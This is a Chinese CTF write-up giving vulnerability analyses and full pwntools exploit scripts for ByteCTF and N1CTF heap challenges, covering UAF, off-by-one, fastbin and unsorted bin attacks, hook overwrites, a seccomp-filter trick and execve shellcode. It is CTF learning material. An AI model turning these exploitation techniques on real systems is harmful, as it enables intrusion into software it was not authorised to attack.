byteCTF&N1CTF部分题解

周末两场比赛的一些题解.

字节跳动CTF

mheap

赛后总校添师傅跟我说的…
漏洞出在 my_read这里,当使用read向一个不合法的地址进行写入的时候会返回-1 …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall my_read(__int64 a1, signed int len)
{
__int64 result; // rax
signed int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
v3 = 0;
do
{
result = (unsigned int)v3;
if ( v3 >= len )
break;
v4 = read(0, (void *)(a1 + v3), len - v3);
if ( !v4 )
exit(0);
v3 += v4;
result = *(unsigned __int8 *)(v3 - 1LL + a1);
}
while ( (_BYTE)result != 10 );
return result;
}

这样就可以向指针的后面读入…,修改free链.但是这个写入的时候不太好控制,需要多次调试…,劫持free链后,就可以将chunk申请到全局指针这里,然后就可以任意读写了.

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#coding=utf-8
from pwn import *
local = 1
exec_file="./mheap"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
set $ptr=0x0000000004040E0
b *0x0000000004011EA
'''
gdb.attach(a,script)
def menu(idx):
a.sendlineafter("Your choice: ",str(idx))
def add(idx,size,content):
menu(1)
a.sendlineafter("Index: ",str(idx))
a.sendlineafter("Input size: ",str(size))
a.sendafter("Content: ",content)
def delete(idx):
menu(3)
a.sendlineafter("Index: ",str(idx))
def show(idx):
menu(2)
a.sendlineafter("Index: ",str(idx))
def edit(idx,content):
menu(4)
a.sendlineafter("Index: ",str(idx))
a.send(content)

ptr=0x0000000004040E0
add(0,0xfe0-32,'AAA\n')#0
add(1,1,'A')#1
add(2,0x100,'BABA\n')#2
delete(1)
debug()
edit(2,p64(0x20)*2+p64(ptr)+'A'*(45-8-8-8+3-1)+p64(ptr)+'\n')
#debug()
add(3,15,'BBBB\n')
#debug()
atoi_got=elf.got["atoi"]
add(4,0x23330010-0x10,p64(atoi_got)*2+'\n')
show(2)
libc_base=u64(a.recv(6)+'\x00\x00')-libc.symbols["atoi"]
print hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
menu(4)
a.sendlineafter("Index: ",str(2))
a.send(p64(system_addr)+'\n')
#edit(3,'AAAA\n')
#debug()
a.sendlineafter("Your choice: ","/bin/sh\x00\n")
a.interactive()

notefive

这题的难点是chunk的布局,只能申请大于size 0x8f的chunk,只能同时控制5个chunk.唯一的漏洞是读取时有offbyone.

利用思路如下:

  1. 利用null byte poison 达到chunk overlap.
  2. 部分覆写,利用unsorted bin attack 将global_max_fast修改为&mian_arena+88,这样就可以使用fastbin了.
  3. free掉一个chunk,由于偏移的问题,chunk会被放入 small bin的位置,这样chunk的fd位置会有libc中的地址,再次利用部分覆写将fd修改到stdout附近.
  4. 修改stdout泄露地址
  5. 利用fastbin attack,将chunk申请到stdout附近,写入合法size,这样不断迭代到__free_hook附近。

因为我修改malloc_hook为one_gadget不能getshell,所以修改的free_hook,赛后看别的师傅是修改malloc_hook为realloc+13,修改realloc_hook为one_gadget。
这里我修改
free_hook为system不知道为啥会被阻塞,所以最后利用setcontext调用mprotect,写入shellcode来getshell的.

完整的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#coding=utf-8
from pwn import *
local = 1
exec_file="./note_five"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x000000000000D45)
b *($text_base+0x000000000000DF3)
b *($text_base+0x000000000000EA9)
'''
gdb.attach(a,script)

def menu(idx):
a.sendlineafter("choice>> ",str(idx))
def add(idx,size):
menu(1)
a.sendlineafter("idx: ",str(idx))
a.sendlineafter("size: ",str(size))
def delete(idx):
menu(3)
a.sendlineafter("idx: ",str(idx))
def edit(idx,content):
menu(2)
a.sendlineafter("idx: ",str(idx))
a.sendafter(": ",content)
add(0,0xf8)
add(1,0x310)
add(2,0x100)#
add(3,0x100)#
edit(1,'A'*0x2f0+p64(0x300)+'\n')
delete(1)
edit(0,'A'*0xf8+'\x00\n')
#debug()
add(1,0xf8)
add(0,0xf8)
add(3,0xf8)
delete(1)
delete(2)
#debug()
add(1,0x120-8)
add(4,0x330-8-0x20)
#delete(3)
edit(4,p64(0x21)*0x1b+p64(0x231)+p64(0)+'\xe8\x27'+'\n')
delete(3)
debug()
edit(4,p64(0x21)*0x1b+p64(0x231)+p64(0)+'\xe8\x27'+'\n')
add(3,0x230-8)
edit(1,'A'*0xf8+p64(0xf1)+'\x20\x26\xdd\n')
#debug()
delete(0)
edit(1,'A'*0xf8+p64(0xf1)+'\xcf\x15\n')
#debug()
add(0,0xf0-8)
#debug()
add(4,0xf0-8)
edit(4,p64(0xf1)*6+'A'*(0x61-32-48)+p64(0xfbad1800)+'A'*24+'\x00\n')
a.recvuntil(p64(0xfbad1800))
a.recvuntil("\x7f")
libc_base=u64(a.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.symbols["_IO_2_1_stdout_"]-131
#print hex(libc_base)
success("libc_base ==> 0x%x"%libc_base)
__malloc_hook=libc_base+libc.symbols["__malloc_hook"]
__realloc_hook=__malloc_hook-8
realloc=libc_base+libc.symbols["realloc"]
success("__malloc_hook ==> 0x%x"%__malloc_hook)
fake_chunk=0x7ffff7dd196f-0x7ffff7a0d000+libc_base
edit(4,p64(0xf1)*6+'A'*(0x61-32-48)+p64(0xfbad2887)+'\n')

stdout=libc_base+libc.symbols["_IO_2_1_stdout_"]
delete(0)
edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd26db-0x7ffff7a0d000+libc_base)+'\n')
add(0,0xf0-8)
#debug()
add(4,0xf0-8)
payload='\x00'*0xd+p64(0x7ffff7dd06e0-0x7ffff7a0d000+libc_base)
payload=payload.ljust(0x1d,'\x00')+p64(stdout)
payload=payload.ljust(0xf0-8-8,'\x00')+p64(0xf1)
edit(4,payload+'\n')
print "1 : "+hex(0x7ffff7dd27d3)
#debug()
#debug()
delete(0)
edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd27c3-0x7ffff7a0d000+libc_base)+'\n')
add(0,0xf0-8)
#debug()
add(4,0xf0-8)
payload='\x00'*0xd+p64(0x7ffff7dd06e0-0x7ffff7a0d000+libc_base)
payload=payload.ljust(0x1d,'\x00')+p64(stdout)
payload=payload.ljust(0xf0-8-8,'\x00')+p64(0xf1)
edit(4,payload+'\n')
print "1 : "+hex(0x7ffff7dd28b3)
#debug()
delete(0)
edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd28ab-0x7ffff7a0d000+libc_base)+'\n')
add(0,0xf0-8)
#debug()
add(4,0xf0-8)
payload='\x00'*0xd+p64(0x7ffff7dd06e0-0x7ffff7a0d000+libc_base)
payload=payload.ljust(0x1d,'\x00')+p64(stdout)
payload=payload.ljust(0xf0-8-8,'\x00')+p64(0xf1)
edit(4,payload+'\n')
print "1 : "+hex(0x7ffff7dd299b)
for i in range(1,17):
delete(0)
edit(1,'A'*0xf8+p64(0xf1)+p64(0x7ffff7dd28ab-0x7ffff7a0d000+libc_base+i*0xe8)+'\n')
add(0,0xf0-8)
#debug()
add(4,0xf0-8)
payload='\x00'*0xd+p64(0x7ffff7dd06e0-0x7ffff7a0d000+libc_base)
payload=payload.ljust(0x1d,'\x00')+p64(stdout)
payload=payload.ljust(0xf0-8-8,'\x00')+p64(0xf1)
edit(4,payload+'\n')
print "1 : "+hex(0x7ffff7dd299b+i*0xe8)
__free_hook=libc_base+libc.symbols["__free_hook"]
new_execve_env=(__free_hook)&0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
mov eax, 0
syscall
jmp rsi
''' % new_execve_env
payload="/bin/sh\x00"+'\x00'*(0x6d-8)+p64(libc_base+libc.symbols["setcontext"]+53)
payload+=p64(__free_hook+16)+asm(shellcode1)
#edit(4,"/bin/sh\x00"+'\x00'*(0x6d-8)+p64(libc_base+libc.symbols["setcontext"])+'\n')
edit(4,payload+'\n')
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#debug()
edit(0,str(frame)+'\n')
delete(0)
pause()
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
a.sendline(shellcode_x64)
a.interactive()

vip:

程序分析:

edit函数这里存在明显的溢出,但是在flag为0的情况下无法任意读取用户输入的内容:

1
2
3
4
5
6
7
8
9
10
11
ssize_t __fastcall my_read(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( flag )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}

become_vip函数这里,可以自定义沙盒:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  ...
read(0, &buf, 0x50uLL);
printf("Hello, %s\n", &buf);
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v4) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v1) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
return __readfsqword(0x28u) ^ v92;
}

ex师傅提供的文章
定义沙盒参考了这篇文章:
X-NUCA’2018 线上专题赛 secretcenter 解题思路

程序这里想要任意读取,需要open的返回值为0,那么定义的沙盒可以是:如果系统调用是open,则返回error(0),这样后面read的时候,fd就是0了,即从终端读取输入.
但是后来开启shell的时候会导致shell无法正常打开libc.so,后来在沙盒中增加判断,如果open的参数filename的地址为 “/dev/urandom”的地址,则返回error(0),其他时候正常使用。

定义的沙盒如下:

1
2
3
4
5
6
7
8
9

A = sys_number
A == 0x101 ? next : allow
A = args[1]
A == 0x40207e ? dead : allow
allow:
return ALLOW
dead:
return ERRNO(0)

完整的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding=utf-8
from pwn import *
local = 0
exec_file="./vip"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
argv=["seccomp-tools","dump","./vip"]
if local :
a=process(exec_file)
#a=process(argv=argv)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("112.126.103.14",9999)
libc=ELF("./libc-2.27.so")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
#text_base,libc_base=get_base(a)
#script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script='''
b *0x0000000004013D9
b *0x00000000004014EB
'''
gdb.attach(a,script)
def menu(idx):
a.sendlineafter("hoice: ",str(idx))
def add(idx):
menu(1)
a.sendlineafter("Index: ",str(idx))
def delete(idx):
menu(3)
a.sendlineafter("Index: ",str(idx))
def show(idx):
menu(2)
a.sendlineafter("Index: ",str(idx))
def edit(idx,size,content):
menu(4)
a.sendlineafter("Index: ",str(idx))
a.sendlineafter("Size: ",str(size))
a.sendafter("tent: ",content)
def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
def build_rule():
payload = ''
payload+= rule(0x20 ,0x00, 0x00, 0x00000000)
payload+= rule(0x15 ,0x00, 0x02, 0x00000101)
payload+= rule(0x20 ,0x00, 0x00, 0x00000018)
payload+= rule(0x15, 0x01, 0x00, 0x0040207e)
payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000)
payload+= rule(0x06 ,0x00, 0x00, 0x00050000)
return payload
def vip(name):
menu(6)
a.sendafter("\n",name)
vip('A'*0x20+build_rule())
add(0)
add(1)
add(2)
delete(1)
payload='A'*0x58+p64(0x51)+p64(0x000000000404100)
#debug()
edit(0,len(payload),payload)
add(3)
add(4)
puts_got=elf.got["puts"]
free_got=elf.got["free"]
payload=p64(free_got)+p64(free_got)
edit(4,len(payload),payload)
show(0)
libc_base=u64(a.recv(6)+'\x00\x00')-libc.symbols["free"]
print hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
edit(1,8,p64(system_addr))
edit(3,8,"/bin/sh\x00")
delete(3)
a.interactive()

mulnote:

程序分析

代码被混淆过,对一个彩币逆向功底的人来说有些头疼,第二天慢慢逆了会,加上动调知道了程序的功能.

漏洞出在remove函数这里,开启了一个新线程用来free chunk,存在条件竞争:

1
2
3
4
5
6
7
void *__fastcall start_routine(void *a1)
{
free((void *)ptr_array[(_QWORD)a1]);
sleep(10u);
ptr_array[(_QWORD)a1] = 0LL;
return 0LL;
}

free过后睡了10秒再进行指针清0,切换到主线程,这时指针没有清0,直接当做UAF做就可以了。

完整的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding=utf-8
from pwn import *
local = 0
exec_file="./mulnote"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("112.126.101.96",9999)
libc=ELF("./libc.so")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x000000000000D52)
b *($text_base+0x0000000000012F0)
b *($text_base+0x000000000000FB5)
'''
gdb.attach(a,script)
def menu(idx):
a.sendlineafter(">",idx)
def add(size,content):
menu('C')
a.sendlineafter("size>",str(size))
a.sendafter(">",content)
def delete(idx):
menu('R')
a.sendlineafter(">",str(idx))
def show():
menu('S')
def edit(idx,content):
menu('E')
a.sendlineafter("index>",str(idx))
a.sendafter(">",content)
add(0x88,'A')#0
add(0x18,'A')#1
delete(0)
show()
a.recvuntil("[0]:\n")
libc_base=u64(a.recv(6)+'\x00\x00')-libc.symbols["__malloc_hook"]-0x10-88
print hex(libc_base)
#debug()
add(0x88,'A\n')#2
add(0x68,'A\n')#3
add(0x68,'A\n')#4
delete(3)
delete(4)
delete(3)
__malloc_hook=libc_base+libc.symbols["__malloc_hook"]
add(0x68,p64(__malloc_hook-0x23))
add(0x68,'A')
add(0x68,'A')
add(0x68,'A'*0x13+p64(libc_base+0x4526a))
menu('C')
a.sendlineafter("size>",str(10))
a.interactive()

N1CTF

warmup

因为ptr指针的原因,可以造成UAF…

劫持stdout泄露地址即可.

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding=utf-8
from pwn import *
local = 0
exec_file="./warmup"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("47.52.90.3","9999")
libc=ELF("./libc-2.27.so")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x000000000000C71)
b *($text_base+0x000000000000D66)
b *($text_base+0x000000000000E27)
'''
gdb.attach(a,script)

def menu(idx):
a.sendlineafter(">>",str(idx))
def add(content):
menu(1)
a.sendafter("content>>",content)
def delete(idx):
menu(2)
a.sendlineafter("x:",str(idx))
def edit(idx,content):
menu(3)
a.sendlineafter("ex:",str(idx))
a.sendafter(">>",content)

add('A')#0
add('A')#1
add('A')#2
add('A')#3
edit(0,'A')# ptr = 0
delete(4)
delete(4)
edit(0,'\xb0')
add('A')#4


add(p64(0)+p64(0xa1))#5
edit(1,'A')# ptr = chunk_1
for i in range(8):
delete(6)
#debug()
edit(1,'\x60\x27')
delete(3)
edit(4,'A')

delete(6)
delete(6)
edit(4,'\xc0')
#debug()
#debug()
add('A')#3
add('A')#6
#debug()
add(p64(0xfbad1800)+p64(0)*3+'\x00')#7
a.recvuntil(p64(0xfbad1800))
a.recvuntil("\x7f")
libc_base=u64(a.recvuntil("\x7f")[-6:]+'\x00\x00')-131-libc.symbols["_IO_2_1_stdout_"]
print hex(libc_base)
__free_hook=libc_base+libc.symbols["__free_hook"]
system_addr=libc_base+libc.symbols["system"]
#debug()
edit(3,'A')
delete(9)
edit(3,p64(__free_hook-8))
add('A')#8
add("/bin/sh\x00"+p64(system_addr))#9
delete(9)
a.interactive()